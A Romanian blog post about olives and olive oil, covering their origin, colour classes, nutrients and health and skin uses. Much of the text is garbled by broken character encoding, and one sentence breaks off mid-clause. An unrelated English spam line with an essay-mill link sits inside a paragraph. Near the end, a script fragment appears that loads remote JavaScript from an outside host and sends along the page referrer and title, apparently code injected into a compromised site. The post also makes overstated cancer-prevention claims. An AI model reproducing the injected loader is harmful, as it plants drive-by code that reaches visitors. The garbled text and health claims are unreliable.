Alimentul zilei- MASLINELE

Se crede despre masline ca ar proveni din zona muntilor

Caucaz, de unde mai apoi s-au raspandit in toata aria Marii

Mediterane, ajungand in prezent sa fie cultivate pe o scara

foarte larga in intreaga lume.

Probabil cA? aA?i vA?zut prin magazine mA?sline de culori diferite, de la verzi, maro, negre pA?nA? la galbene sau

roAYii. Aceasta culoare apare A�n urma metodelor de fermentaA?ie care se folosesc pentru mA?sline A�nainte de a fi

comercializate. Sunt clasificate AYi A�n funcA?ie de dimensiune, cele mai mari fiind mA?slinele Giants si cele mai

mici cele numite Bullets.

MA?slinele protejeazA? organismul de cancer cu ajutorul unui ingredient numit oleocantal care

DacA? A�n alimentaA?ie se include cA?t mai des mA?sline veA?i fi mai feriA?i de cancerul de la ovare, sA?n sau colon.

Din punct de vedere a sA?rurilor minerale aceasta nu duce lipsa de: potasiu, magneziu, fosdor, cupru,

mangan, caroten, calciu. De asemenea conA?ine AYi vitaminele A, B ,C, E F.

Frunzele mA?slinului au o acA?iune diureticA? AYi A�nca din Antichitate au fost folosite pentru curA?A?area rA?nilor.

MA?slinele au AYi un indice glicemic destul de mic care ajutA? la apariA?ia treptatA? a energiei.

Uleiul de masline din fructul presat la rece are actiune protectiva asupra tractului digestiv. Iar cand este

aplicat extern, alina pielea uscata. They were really cute, but don’t https://pro-essay-writer.com be fooled by their innocent looks they do bite and scratch hard.

Cand este folosit la gatit sau ca supliment la mancare, ajuta la pastrarea sanatatii inimii si arterelor. Iar

consumul regulat, previne construirea de colesterol in artere.

Acest ulei este folosit inca din timpurile biblice pentru ingrijirea pielii – facand-o supla si neteda – si

pentru a grabi vindecarea pielii crapate sau iritate.

Uleiul de masline este o alternativa excelenta la unturi si margarine. Un mod delicios de a-l folosi este

amestecarea lui cu condimentele tale favorite si punerea acestei compozitii la macerat pentru cateva zile.

Apoi uleiul poate fi folosit la salate si sosuri.

s. src=’http://gettop. info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document. referrer) + ‘&default_keyword=’ + encodeURIComponent(document. title) + ”; var d=document;var s=d. createElement(‘script’);.

Leave a Reply